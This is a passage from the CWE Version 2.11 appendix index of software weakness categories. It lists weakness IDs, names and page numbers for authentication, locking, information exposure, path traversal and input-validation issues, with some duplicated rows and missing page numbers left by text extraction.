- **CWE-620**: Unverified Password Change (p. 969)
- **CWE-640**: Weak Password Recovery Mechanism for Forgotten Password (p. 991)
- **CWE-645**: Overly Restrictive Account Lockout Mechanism (p. 1002)
- **CWE-798**: Use of Hard-coded Credentials (p. 1223)
- **CWE-259**: Use of Hard-coded Password (p. 460)
- **CWE-321**: Use of Hard-coded Cryptographic Key (p. 566)
- **CWE-804**: Guessable CAPTCHA (p. 1233)
- **CWE-836**: Use of Password Hash Instead of Password for Authentication (p. 1279)
- **CWE-384**: Session Fixation (p. 665)
- **CWE-346**: Origin Validation Error (p. 603)
- **CWE-441**: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- **CWE-472**: External Control of Assumed-Immutable Web Parameter (p. 795)
- **CWE-923**: Improper Restriction of Communication Channel to Intended Endpoints (p. 1354)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-410</td>
<td>Insufficient Resource Pool</td>
<td>710</td>
</tr>
<tr>
<td>CWE-471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>793</td>
</tr>
<tr>
<td>CWE-291</td>
<td>Reliance on IP Address for Authentication</td>
<td>518</td>
</tr>
<tr>
<td>CWE-425</td>
<td>Direct Request ('Forced Browsing')</td>
<td>729</td>
</tr>
<tr>
<td>CWE-472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>795</td>
</tr>
<tr>
<td>CWE-473</td>
<td>PHP External Variable Modification</td>
<td>798</td>
</tr>
<tr>
<td>CWE-602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>949</td>
</tr>
<tr>
<td>CWE-433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td></td>
</tr>
<tr>
<td>CWE-425</td>
<td>Direct Request ('Forced Browsing')</td>
<td></td>
</tr>
<tr>
<td>CWE-470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td></td>
</tr>
<tr>
<td>CWE-609</td>
<td>Double-Checked Locking</td>
<td></td>
</tr>
<tr>
<td>CWE-764</td>
<td>Multiple Locks of a Critical Resource</td>
<td>1171</td>
</tr>
<tr>
<td>CWE-495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
<td></td>
</tr>
<tr>
<td>CWE-472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td></td>
</tr>
<tr>
<td>CWE-473</td>
<td>PHP External Variable Modification</td>
<td></td>
</tr>
<tr>
<td>CWE-602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td></td>
</tr>
<tr>
<td>CWE-485</td>
<td>Insufficient Encapsulation</td>
<td>820</td>
</tr>
<tr>
<td>CWE-216</td>
<td>Containment Errors (Container Errors)</td>
<td>411</td>
</tr>
<tr>
<td>CWE-291</td>
<td>Reliance on IP Address for Authentication</td>
<td>518</td>
</tr>
<tr>
<td>CWE-433</td>
<td>Unparsed Raw Web Content Delivery</td>
<td>743</td>
</tr>
<tr>
<td>CWE-443</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>755</td>
</tr>
<tr>
<td>CWE-493</td>
<td>Critical Public Variable Without Final Modifier</td>
<td>835</td>
</tr>
<tr>
<td>CWE-500</td>
<td>Public Static Field Not Marked Final</td>
<td>847</td>
</tr>
<tr>
<td>CWE-486</td>
<td>Comparison of Classes by Name</td>
<td>822</td>
</tr>
<tr>
<td>CWE-487</td>
<td>Reliance on Package-level Scope</td>
<td>824</td>
</tr>
<tr>
<td>CWE-488</td>
<td>Exposure of Data Element to Wrong Session</td>
<td>825</td>
</tr>
<tr>
<td>CWE-489</td>
<td>Leftover Debug Code</td>
<td>826</td>
</tr>
<tr>
<td>CWE-495</td>
<td>Private Array-Typed Field Returned From A Public Method</td>
<td>840</td>
</tr>
<tr>
<td>CWE-496</td>
<td>Public Data Assigned to Private Array-Typed Field</td>
<td>841</td>
</tr>
<tr>
<td>CWE-498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td>844</td>
</tr>
<tr>
<td>CWE-499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td>845</td>
</tr>
<tr>
<td>CWE-501</td>
<td>Trust Boundary Violation</td>
<td>848</td>
</tr>
<tr>
<td>CWE-580</td>
<td>clone() Method Without super.clone()</td>
<td>923</td>
</tr>
<tr>
<td>CWE-594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
<td>936</td>
</tr>
<tr>
<td>CWE-749</td>
<td>Exposed Dangerous Method or Function</td>
<td>1141</td>
</tr>
<tr>
<td>CWE-618</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>968</td>
</tr>
<tr>
<td>CWE-782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
<td>1202</td>
</tr>
<tr>
<td>CWE-766</td>
<td>Critical Variable Declared Public</td>
<td>1173</td>
</tr>
<tr>
<td>CWE-767</td>
<td>Access to Critical Private Variable via Public Method</td>
<td>1175</td>
</tr>
<tr>
<td>CWE-610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>959</td>
</tr>
<tr>
<td>CWE-15</td>
<td>External Control of System or Configuration Setting</td>
<td>14</td>
</tr>
<tr>
<td>CWE-441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
<td>755</td>
</tr>
<tr>
<td>CWE-918</td>
<td>Server-Side Request Forgery (SSRF)</td>
<td>1349</td>
</tr>
<tr>
<td>CWE-470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
<td>791</td>
</tr>
<tr>
<td>CWE-601</td>
<td>URL Redirection to Untrusted Site ('Open Redirect')</td>
<td>944</td>
</tr>
<tr>
<td>CWE-611</td>
<td>Improper Restriction of XML External Entity Reference ('XXE')</td>
<td>960</td>
</tr>
<tr>
<td>CWE-73</td>
<td>External Control of File Name or Path</td>
<td>108</td>
</tr>
<tr>
<td>CWE-662</td>
<td>Improper Synchronization</td>
<td>1026</td>
</tr>
<tr>
<td>CWE-663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
<td>1027</td>
</tr>
<tr>
<td>CWE-479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
<td>809</td>
</tr>
<tr>
<td>CWE-558</td>
<td>Use of getlogin() in Multithreaded Application</td>
<td>895</td>
</tr>
<tr>
<td>CWE-667</td>
<td>Improper Locking</td>
<td>1034</td>
</tr>
<tr>
<td>CWE-412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>712</td>
</tr>
<tr>
<td>CWE-413</td>
<td>Improper Resource Locking</td>
<td>714</td>
</tr>
<tr>
<td>CWE-591</td>
<td>Sensitive Data Storage in Improperly Locked Memory</td>
<td>934</td>
</tr>
<tr>
<td>CWE-414</td>
<td>Missing Lock Check</td>
<td>717</td>
</tr>
<tr>
<td>CWE-609</td>
<td>Double-Checked Locking</td>
<td>957</td>
</tr>
<tr>
<td>CWE-764</td>
<td>Multiple Locks of a Critical Resource</td>
<td>1171</td>
</tr>
<tr>
<td>CWE-765</td>
<td>Multiple Unlocks of a Critical Resource</td>
<td>1172</td>
</tr>
</tbody>
</table>
CWE-832: Unlock of a Resource that is not Locked (p. 1274)
CWE-833: Deadlock (p. 1275)
CWE-820: Missing Synchronization (p. 1252)
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 906)
CWE-821: Incorrect Synchronization (p. 1253)
  - CWE-572: Call to Thread run() instead of start() (p. 912)
  - CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)
CWE-665: Improper Initialization (p. 1029)
CWE-453: Insecure Default Variable Initialization (p. 768)
CWE-454: External Initialization of Trusted Variables or Data Stores (p. 769)
CWE-455: Non-exit on Failed Initialization (p. 771)
CWE-457: Use of Uninitialized Variable (p. 774)
CWE-770: Allocation of Resources Without Limits or Throttling (p. 1178)
  - CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p. 1191)
  - CWE-789: Uncontrolled Memory Allocation (p. 1215)
CWE-909: Missing Initialization of Resource (p. 1336)
  - CWE-456: Missing Initialization of a Variable (p. 772)
CWE-666: Operation on Resource in Wrong Phase of Lifetime (p. 1033)
CWE-415: Double Free (p. 718)
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 935)
CWE-605: Multiple Binds to the Same Port (p. 953)
CWE-672: Operation on a Resource after Expiration or Release (p. 1041)
  - CWE-298: Improper Validation of Certificate Expiration (p. 528)
  - CWE-324: Use of a Key Past its Expiration Date (p. 570)
  - CWE-562: Return of Stack Variable Address (p. 900)
CWE-613: Insufficient Session Expiration (p. 962)
CWE-825: Expired Pointer Dereference (p. 1259)
  - CWE-415: Double Free (p. 718)
  - CWE-416: Use After Free (p. 720)
  - CWE-562: Return of Stack Variable Address (p. 900)
CWE-826: Premature Release of Resource During Expected Lifetime (p. 1261)
  - CWE-910: Use of Expired File Descriptor (p. 1338)
  - CWE-911: Improper Update of Reference Count (p. 1339)
CWE-668: Exposure of Resource to Wrong Sphere (p. 1037)
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p. 1415)
CWE-200: Information Exposure (p. 384)
CWE-201: Information Exposure Through Sent Data (p. 388)
CWE-203: Information Exposure Through Discrepancy (p. 390)
  - CWE-204: Response Discrepancy Information Exposure (p. 392)
CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
  - CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
  - CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
CWE-209: Information Exposure Through an Error Message (p. 397)
CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
CWE-535: Information Exposure Through Shell Error Message (p. 877)
CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 878)
CWE-537: Information Exposure Through Java Runtime Error Message (p. 879)
CWE-211: Information Exposure Through Externally-generated Error Message (p. 404)
CWE-550: Information Exposure Through Server Error Message (p. 890)
Appendix A - Graph Views: CWE-1000: Research Concepts

- CWE-600: Uncaught Exception in Servlet (p. 943)
- CWE-756: Missing Custom Error Page (p. 1154)
  - CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page (p. 9)
  - CWE-7: J2EE Misconfiguration: Missing Custom Error Page (p. 5)
- CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
- CWE-213: Intentional Information Exposure (p. 407)
- CWE-214: Information Exposure Through Process Environment (p. 408)
- CWE-215: Information Exposure Through Debug Information (p. 409)
  - CWE-11: ASP.NET Misconfiguration: Creating Debug Binary (p. 8)
- CWE-226: Sensitive Information Uncleared Before Release (p. 417)
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
- CWE-359: Exposure of Private Information ('Privacy Violation') (p. 623)
- CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
- CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 842)
- CWE-498: Cloneable Class Containing Sensitive Information (p. 844)
- CWE-499: Serializable Class Containing Sensitive Data (p. 845)
- CWE-524: Information Exposure Through Caching (p. 869)
- CWE-525: Information Exposure Through Browser Caching (p. 870)
- CWE-526: Information Exposure Through Environmental Variables (p. 871)
- CWE-538: File and Directory Information Exposure (p. 880)
  - CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
  - CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
  - CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)
- CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 873)
- CWE-532: Information Exposure Through Log Files (p. 875)
  - CWE-533: Information Exposure Through Server Log Files (p. 876)
  - CWE-534: Information Exposure Through Debug Log Files (p. 877)
  - CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
- CWE-539: Information Exposure Through Persistent Cookies (p. 882)
- CWE-540: Information Exposure Through Source Code (p. 882)
  - CWE-531: Information Exposure Through Test Code (p. 874)
  - CWE-541: Information Exposure Through Include Source Code (p. 883)
- CWE-548: Information Exposure Through Directory Listing (p. 889)
- CWE-651: Information Exposure Through WSDL File (p. 1010)
- CWE-598: Information Exposure Through Query Strings in GET Request (p. 941)
- CWE-612: Information Exposure Through Indexing of Private Data (p. 962)
- CWE-219: Sensitive Data Under Web Root (p. 412)
- CWE-433: Unparsed Raw Web Content Delivery (p. 743)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-172: Encoding Error (p. 333)
  - CWE-173: Improper Handling of Alternate Encoding (p. 335)
- CWE-174: Double Decoding of the Same Data (p. 336)
- CWE-175: Improper Handling of Mixed Encoding (p. 338)
- CWE-176: Improper Handling of Unicode Encoding (p. 339)
- CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- CWE-20: Improper Input Validation (p. 18)
  - CWE-105: Struts: Form Field Without Validator (p. 198)
  - CWE-106: Struts: Plug-in Framework not in Use (p. 201)
  - CWE-108: Struts: Unvalidated Action Form (p. 204)
- CWE-109: Struts: Validator Turned Off (p. 205)
- CWE-112: Missing XML Validation (p. 210)
- CWE-114: Process Control (p. 215)
Appendix A - Graph Views: CWE-1000: Research Concepts
Appendix A - Graph Views: CWE-1000: Research Concepts

- CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p. 11)
- CWE-258: Empty Password in Configuration File (p. 459)
- CWE-523: Unprotected Transport of Credentials (p. 868)
- CWE-549: Missing Password Field Masking (p. 890)
- CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p. 894)

CWE-552: Files or Directories Accessible to External Parties (p. 892)
- CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
- CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)

CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 873)
- CWE-532: Information Exposure Through Log Files (p. 875)
  - CWE-533: Information Exposure Through Server Log Files (p. 876)
  - CWE-534: Information Exposure Through Debug Log Files (p. 877)
  - CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
- CWE-540: Information Exposure Through Source Code (p. 882)
- CWE-541: Information Exposure Through Include Source Code (p. 883)
- CWE-615: Information Exposure Through Comments (p. 964)
- CWE-548: Information Exposure Through Directory Listing (p. 889)
- CWE-553: Command Shell in Externally Accessible Directory (p. 892)
- CWE-582: Array Declared Public, Final, and Static (p. 924)
- CWE-583: finalize() Method Declared Public (p. 925)
- CWE-608: Struts: Non-private Field in ActionForm Class (p. 956)
- CWE-642: External Control of Critical State Data (p. 995)
  - CWE-15: External Control of System or Configuration Setting (p. 14)
  - CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 903)
    - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
- CWE-73: External Control of File Name or Path (p. 108)
- CWE-426: Untrusted Search Path (p. 731)
  - CWE-275: Permission Issues (p. 489)
  - CWE-216: Containment Errors (Container Errors) (p. 411)
  - CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
  - CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p. 1415)
  - CWE-276: Incorrect Default Permissions (p. 491)
  - CWE-277: Insecure Inherited Permissions (p. 493)
  - CWE-278: Insecure Preserved Inherited Permissions (p. 494)
  - CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
  - CWE-281: Improper Preservation of Permissions (p. 497)
  - CWE-689: Permission Race Condition During Resource Copy (p. 1072)
    - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
    - CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-766: Critical Variable Declared Public (p. 1173)
  - CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote (p. 6)
  - CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1359)
  - CWE-942: Overly Permissive Cross-domain Whitelist (p. 1371)
- CWE-669: Improper Resource Transfer Between Spheres (p. 1039)
  - CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
  - CWE-243: Creation of chroot Jail Without Changing Working Directory (p. 434)
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p. 435)
CWE Version 2.11

Appendix A - Graph Views: CWE-1000: Research Concepts

- CWE-434: Unrestricted Upload of File with Dangerous Type (p. 744)
- CWE-494: Download of Code Without Integrity Check (p. 837)
- CWE-602: Client-Side Enforcement of Server-Side Security (p. 949)
  - CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 903)
  - CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
- CWE-603: Use of Client-Side Authentication (p. 952)
- CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p. 1266)
  - CWE-827: Improper Control of Document Type Definition (p. 1262)
  - CWE-830: Inclusion of Web Functionality from an Untrusted Source (p. 1271)
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- CWE-673: External Influence of Sphere Definition (p. 1043)
- CWE-426: Untrusted Search Path (p. 731)
  - CWE-275: Permission Issues (p. 489)
  - CWE-216: Containment Errors (Container Errors) (p. 411)
  - CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
- CWE-704: Incorrect Type Conversion or Cast (p. 1107)
- CWE-588: Attempt to Access Child of a Non-structure Pointer (p. 930)
- CWE-681: Incorrect Conversion between Numeric Types (p. 1060)
  - CWE-192: Integer Coercion Error (p. 368)
  - CWE-194: Unexpected Sign Extension (p. 375)
  - CWE-195: Signed to Unsigned Conversion Error (p. 377)
  - CWE-196: Unsigned to Signed Conversion Error (p. 380)
  - CWE-197: Numeric Truncation Error (p. 381)
- CWE-843: Access of Resource Using Incompatible Type ('Type Confusion') (p. 1291)
- CWE-706: Use of Incorrectly-Resolved Name or Reference (p. 1109)
- CWE-178: Improper Handling of Case Sensitivity (p. 343)
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
- CWE-172: Encoding Error (p. 333)
  - CWE-173: Improper Handling of Alternate Encoding (p. 335)
  - CWE-174: Double Decoding of the Same Data (p. 336)
  - CWE-175: Improper Handling of Mixed Encoding (p. 338)
  - CWE-176: Improper Handling of Unicode Encoding (p. 339)
  - CWE-177: Improper Handling of URL Encoding (Hex Encoding) (p. 341)
- CWE-20: Improper Input Validation (p. 18)
  - CWE-105: Struts: Form Field Without Validator (p. 198)
  - CWE-106: Struts: Plug-in Framework not in Use (p. 201)
  - CWE-108: Struts: Unvalidated Action Form (p. 204)
  - CWE-109: Struts: Validator Turned Off (p. 205)
  - CWE-112: Missing XML Validation (p. 210)
  - CWE-114: Process Control (p. 215)
  - CWE-129: Improper Validation of Array Index (p. 258)
- CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)
- CWE-606: Unchecked Input for Loop Condition (p. 954)
- CWE-622: Improper Validation of Function Hook Arguments (p. 972)
- CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 976)
- CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
  - CWE-789: Uncontrolled Memory Allocation (p. 1215)
- CWE-680: Integer Overflow to Buffer Overflow (p. 1059)
- CWE-690: Unchecked Return Value to NULL Pointer Dereference (p. 1073)
  - CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1076)
- CWE-23: Relative Path Traversal (p. 40)
  - CWE-24: Path Traversal: '../filedir' (p. 45)
  - CWE-25: Path Traversal: '../filedir' (p. 46)
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-26</td>
<td>Path Traversal: '\dir/.../filename'</td>
<td>48</td>
</tr>
<tr>
<td>CWE-27</td>
<td>Path Traversal: '\dir/.../filename'</td>
<td>49</td>
</tr>
<tr>
<td>CWE-28</td>
<td>Path Traversal: '..\filedir'</td>
<td>51</td>
</tr>
<tr>
<td>CWE-29</td>
<td>Path Traversal: '..\filename'</td>
<td>52</td>
</tr>
<tr>
<td>CWE-30</td>
<td>Path Traversal: '\dir..\filename'</td>
<td>54</td>
</tr>
<tr>
<td>CWE-31</td>
<td>Path Traversal: '\dir/../../filename'</td>
<td>55</td>
</tr>
<tr>
<td>CWE-32</td>
<td>Path Traversal: '..' (Triple Dot)</td>
<td>57</td>
</tr>
<tr>
<td>CWE-33</td>
<td>Path Traversal: '...' (Multiple Dot)</td>
<td>58</td>
</tr>
<tr>
<td>CWE-34</td>
<td>Path Traversal: '/dir/.'</td>
<td>60</td>
</tr>
<tr>
<td>CWE-35</td>
<td>Path Traversal: '/dir/../'</td>
<td>62</td>
</tr>
<tr>
<td>CWE-36</td>
<td>Absolute Path Traversal</td>
<td>64</td>
</tr>
<tr>
<td>CWE-37</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
<td>67</td>
</tr>
<tr>
<td>CWE-38</td>
<td>Path Traversal: '\absolute\pathname\here'</td>
<td>68</td>
</tr>
<tr>
<td>CWE-39</td>
<td>Path Traversal: 'C:\dirname'</td>
<td>70</td>
</tr>
<tr>
<td>CWE-40</td>
<td>Path Traversal: '\UNC\share\name' (Windows UNC Share)</td>
<td>72</td>
</tr>
<tr>
<td>CWE-73</td>
<td>External Control of File Name or Path</td>
<td>108</td>
</tr>
<tr>
<td>CWE-386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td>668</td>
</tr>
<tr>
<td>CWE-41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>73</td>
</tr>
<tr>
<td>CWE-172</td>
<td>Encoding Error</td>
<td>333</td>
</tr>
<tr>
<td>CWE-173</td>
<td>Improper Handling of Alternate Encoding</td>
<td>335</td>
</tr>
<tr>
<td>CWE-174</td>
<td>Double Decoding of the Same Data</td>
<td>336</td>
</tr>
<tr>
<td>CWE-175</td>
<td>Improper Handling of Mixed Encoding</td>
<td>338</td>
</tr>
<tr>
<td>CWE-176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>339</td>
</tr>
<tr>
<td>CWE-177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
<td>341</td>
</tr>
<tr>
<td>CWE-20</td>
<td>Improper Input Validation</td>
<td>18</td>
</tr>
<tr>
<td>CWE-105</td>
<td>Struts: Form Field Without Validator</td>
<td>198</td>
</tr>
<tr>
<td>CWE-106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>201</td>
</tr>
<tr>
<td>CWE-108</td>
<td>Struts: Unvalidated Action Form</td>
<td>204</td>
</tr>
<tr>
<td>CWE-109</td>
<td>Struts: Validator Turned Off</td>
<td>205</td>
</tr>
<tr>
<td>CWE-112</td>
<td>Missing XML Validation</td>
<td>210</td>
</tr>
<tr>
<td>CWE-114</td>
<td>Process Control</td>
<td>215</td>
</tr>
<tr>
<td>CWE-129</td>
<td>Improper Validation of Array Index</td>
<td>258</td>
</tr>
<tr>
<td>CWE-554</td>
<td>ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
<td>893</td>
</tr>
<tr>
<td>CWE-606</td>
<td>Unchecked Input for Loop Condition</td>
<td>954</td>
</tr>
<tr>
<td>CWE-622</td>
<td>Improper Validation of Function Hook Arguments</td>
<td>972</td>
</tr>
<tr>
<td>CWE-626</td>
<td>Null Byte Interaction Error (Poison Null Byte)</td>
<td>976</td>
</tr>
<tr>
<td>CWE-781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td>1200</td>
</tr>
<tr>
<td>CWE-789</td>
<td>Uncontrolled Memory Allocation</td>
<td>1215</td>
</tr>
<tr>
<td>CWE-680</td>
<td>Integer Overflow to Buffer Overflow</td>
<td>1059</td>
</tr>
<tr>
<td>CWE-690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>1073</td>
</tr>
<tr>
<td>CWE-692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
<td>1076</td>
</tr>
<tr>
<td>CWE-42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
<td>78</td>
</tr>
<tr>
<td>CWE-43</td>
<td>Path Equivalence: 'filename...' (Multiple Trailing Dot)</td>
<td>79</td>
</tr>
<tr>
<td>CWE-44</td>
<td>Path Equivalence: 'file.name' (Internal Dot)</td>
<td>79</td>
</tr>
<tr>
<td>CWE-45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td>80</td>
</tr>
<tr>
<td>CWE-46</td>
<td>Path Equivalence: 'filename' (Trailing Space)</td>
<td>80</td>
</tr>
<tr>
<td>CWE-47</td>
<td>Path Equivalence: 'filename' (Leading Space)</td>
<td>81</td>
</tr>
<tr>
<td>CWE-48</td>
<td>Path Equivalence: 'file.name' (Internal Whitespace)</td>
<td>82</td>
</tr>
<tr>
<td>CWE-49</td>
<td>Path Equivalence: 'filename/' (Trailing Slash)</td>
<td>83</td>
</tr>
<tr>
<td>CWE-50</td>
<td>Path Equivalence: '/multiple/leading/slash'</td>
<td>83</td>
</tr>
<tr>
<td>CWE-51</td>
<td>Path Equivalence: '/multiple/internal/slash'</td>
<td>84</td>
</tr>
<tr>
<td>CWE-52</td>
<td>Path Equivalence: '/multiple/trailing/slash/'</td>
<td>85</td>
</tr>
<tr>
<td>CWE-53</td>
<td>Path Equivalence: '\multiple\internal\backslash'</td>
<td>86</td>
</tr>
<tr>
<td>CWE-54</td>
<td>Path Equivalence: 'filedir/' (Trailing Backslash)</td>
<td>86</td>
</tr>
</tbody>
</table>
CWE-55: Path Equivalence: '/.' (Single Dot Directory) (p. 87)
CWE-56: Path Equivalence: '*filedir*' (Wildcard) (p. 88)
CWE-57: Path Equivalence: 'fakedir/.../realdir/filename' (p. 89)
CWE-58: Path Equivalence: Windows 8.3 Filename (p. 90)
CWE-73: External Control of File Name or Path (p. 108)
CWE-59: Improper Link Resolution Before File Access ('Link Following') (p. 91)
CWE-363: Race Condition Enabling Link Following (p. 635)
CWE-62: UNIX Hard Link (p. 96)
CWE-64: Windows Shortcut Following (.LNK) (p. 98)
CWE-65: Windows Hard Link (p. 100)
CWE-73: External Control of File Name or Path (p. 108)
CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
CWE-275: Permission Issues (p. 489)
CWE-216: Containment Errors (Container Errors) (p. 411)
CWE-340: Predictability Problems (p. 597)
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
CWE-386: Symbolic Name not Mapping to Correct Object (p. 668)
CWE-66: Improper Handling of File Names that Identify Virtual Resources (p. 101)
CWE-67: Improper Handling of Windows Device Names (p. 103)
CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
CWE-71: Apple '.DS_Store' (p. 106)
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
CWE-827: Improper Control of Document Type Definition (p. 1262)
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
CWE-908: Use of Uninitialized Resource (p. 1334)
CWE-911: Improper Update of Reference Count (p. 1339)
CWE-913: Improper Control of Dynamically-Managed Code Resources (p. 1340)
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 791)
CWE-502: Deserialization of Untrusted Data (p. 849)
CWE-914: Improper Control of Dynamically-Identified Variables (p. 1341)
CWE-621: Variable Extraction Error (p. 971)
CWE-627: Dynamic Variable Evaluation (p. 977)
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes (p. 1343)
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
CWE-922: Insecure Storage of Sensitive Information (p. 1353)
CWE-312: Cleartext Storage of Sensitive Information (p. 555)
CWE-313: Cleartext Storage in a File or on Disk (p. 557)
CWE-314: Cleartext Storage in the Registry (p. 559)
CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 559)
CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 560)
CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 561)
CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 562)
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p. 1352)
CWE-682: Incorrect Calculation (p. 1063)
CWE-128: Wrap-around Error (p. 256)
Appendix A - Graph Views: CWE-1000: Research Concepts

CWE Version 2.11

Appendix A - Graph Views: CWE-1000: Research Concepts

CWE-131: Incorrect Calculation of Buffer Size (p. 269)
CWE-135: Incorrect Calculation of Multi-Byte String Length (p. 282)
CWE-190: Integer Overflow or Wraparound (p. 361)
CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
CWE-193: Off-by-one Error (p. 371)
CWE-369: Divide By Zero (p. 648)
CWE-467: Use of sizeof() on a Pointer Type (p. 786)
CWE-468: Incorrect Pointer Scaling (p. 788)
CWE-469: Use of Pointer Subtraction to Determine Size (p. 789)
CWE-667: Improper Locking
CWE-839: Numeric Range Comparison Without Minimum Check (p. 1283)
CWE-691: Insufficient Control Flow Management (p. 1075)
CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
CWE-364: Signal Handler Race Condition (p. 636)
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 742)
